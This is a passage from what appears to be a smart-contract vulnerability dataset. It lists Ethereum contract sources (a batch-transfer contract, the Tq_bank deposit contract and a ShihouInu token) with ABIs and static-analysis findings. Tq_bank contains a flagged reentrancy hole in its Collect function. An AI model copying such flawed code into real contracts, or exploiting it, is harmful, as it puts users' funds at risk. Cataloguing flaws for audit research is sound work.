"SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1047, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 25, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 164, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 690, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1404, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1404, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1404, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1405, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1405, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1405, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1405, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1407, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1407, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1407, "severity": 1}] | [{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX_PER_MINT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseTokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"mintNFTs","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reserveNFTs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_baseTokenURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"tokensOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.4+commit.c7e474f2 | false | 200 | 00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d577a4e4e4b354c504434414750334d614e774e6832756e4e755666383553684c677a446450565367685978722f00000000000000000000 | Default | false | ||||
BatchTransaction | 0xe94a12b04e48430fa5f6fffae66b7f4c8ec6a574 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BatchTransaction is Ownable {
event BatchTransfer(
address indexed sender,
address indexed _tokenAddress,
address[] _accounts,
uint256[] _values,
uint256 _totalAmount
);
function batchTransfer(address _tokenAddress, address[] memory _accounts, uint256[] memory _values, uint256 _totalAmount) public returns(bool) {
require(_tokenAddress != address(0), "BatchTransaction: Token address can not be address(0)");
IERC20(_tokenAddress).transferFrom(_msgSender(), address(this), _totalAmount);
for(uint256 i = 0; i < _accounts.length; ++i) {
if(_accounts[i] == address(0)) continue;
IERC20(_tokenAddress).transfer(_accounts[i], _values[i]);
}
emit BatchTransfer(_msgSender(), _tokenAddress, _accounts, _values, _totalAmount);
return true;
}
function withdraw(address _tokenAddress) external onlyOwner {
uint256 _balance = IERC20(_tokenAddress).balanceOf(address(this));
IERC20(_tokenAddress).transfer(_msgSender(), _balance);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["158"]}, {"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["148"]}, {"defect": "Transaction_order_dependency", "type": "Business_logic", "severity": "Medium", "lines": ["146"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["135"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["110", "124", "119"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BatchTransaction.sol": [96, 93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BatchTransaction.sol": [120, 121, 122, 119]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BatchTransaction.sol": [144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BatchTransaction.sol": [112, 110, 111]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BatchTransaction.sol": [128, 129, 130, 131, 132]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BatchTransaction.sol": [2]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"BatchTransaction.sol": [150]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BatchTransaction.sol": [156]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BatchTransaction.sol": [144]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BatchTransaction.sol": [144]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BatchTransaction.sol": [144]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BatchTransaction.sol": [144]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"BatchTransaction.sol": [96, 97, 88, 89, 90, 91, 92, 93, 94, 95]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"BatchTransaction.sol": [152]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"BatchTransaction.sol": [146]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"BatchTransaction.sol": [150]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"BatchTransaction.sol": [158]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 121, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 148, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 148, "severity": 2}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 100, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 104, "severity": 1}] | [{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"_tokenAddress","type":"address"},{"indexed":false,"internalType":"address[]","name":"_accounts","type":"address[]"},{"indexed":false,"internalType":"uint256[]","name":"_values","type":"uint256[]"},{"indexed":false,"internalType":"uint256","name":"_totalAmount","type":"uint256"}],"name":"BatchTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"address[]","name":"_accounts","type":"address[]"},{"internalType":"uint256[]","name":"_values","type":"uint256[]"},{"internalType":"uint256","name":"_totalAmount","type":"uint256"}],"name":"batchTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.0+commit.c7dfd78e | false | 200 | Default | None | false | ipfs://60855a3069dacebf3e0754fd79bdae56088b37202af9d11a0fd6368f51f2b829 |
|||
Tq_bank | 0xcc4358a3720521ea84958658569a44fc15738af2 | Solidity | contract Tq_bank
{
function Put(uint _unlockTime)
public
payable
{
var acc = Acc[msg.sender];
acc.balance += msg.value;
acc.unlockTime = _unlockTime>now?_unlockTime:now;
LogFile.AddMessage(msg.sender,msg.value,"Put");
}
function Collect(uint _am)
public
payable
{
var acc = Acc[msg.sender];
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
{
if(msg.sender.call.value(_am)())
{
acc.balance-=_am;
LogFile.AddMessage(msg.sender,_am,"Collect");
}
}
}
function()
public
payable
{
Put(0);
}
struct Holder
{
uint unlockTime;
uint balance;
}
mapping (address => Holder) public Acc;
Log LogFile;
uint public MinSum = 1 ether;
function Tq_bank(address log) public{
LogFile = Log(log);
}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
} | [{"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["og.L53"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["63"]}, {"defect": "Reentrancy", "type": "Function_call", "severity": "High", "lines": ["20"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["18"]}] | [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"Tq_bank.sol": [74]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Tq_bank.sol": [45]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tq_bank.sol": [67, 68, 69, 70, 71, 72, 73, 74, 75]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tq_bank.sol": [32, 33, 28, 29, 30, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tq_bank.sol": [13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [20]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [63]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [65]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [41]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [3]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [67]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [43]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [45]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [13]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [67, 68, 69, 70, 71, 72, 73, 74, 75]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [67]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [3, 4, 5, 6, 7, 8, 9, 10, 11]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Tq_bank.sol": [67]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"Tq_bank.sol": [22]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Tq_bank.sol": [18]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Tq_bank.sol": [9]}}] | null | null | [{"constant":false,"inputs":[{"name":"_am","type":"uint256"}],"name":"Collect","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_unlockTime","type":"uint256"}],"name":"Put","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"Acc","outputs":[{"name":"unlockTime","type":"uint256"},{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"MinSum","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"log","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}] | v0.4.25+commit.59dbf8f1 | true | 200 | 000000000000000000000000fe805bd99390796ac33fb301b6429b745c4ecab4 | Default | None | false | bzzr://235ab46d4d925e7f71c5e2e2c523971e57c7f6b36aa101d8420684f5b74ae788 |
||
ShihouInu | 0xe8531327d313d29bb16fc4ca196e17f5d9a7db98 | Solidity | // File: shi.sol
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ShihouInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e13 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Shihou Inu";
string private constant _symbol = unicode"Shihou Inu";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 7;
uint256 private _feeRate = 8;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 7;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 7;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
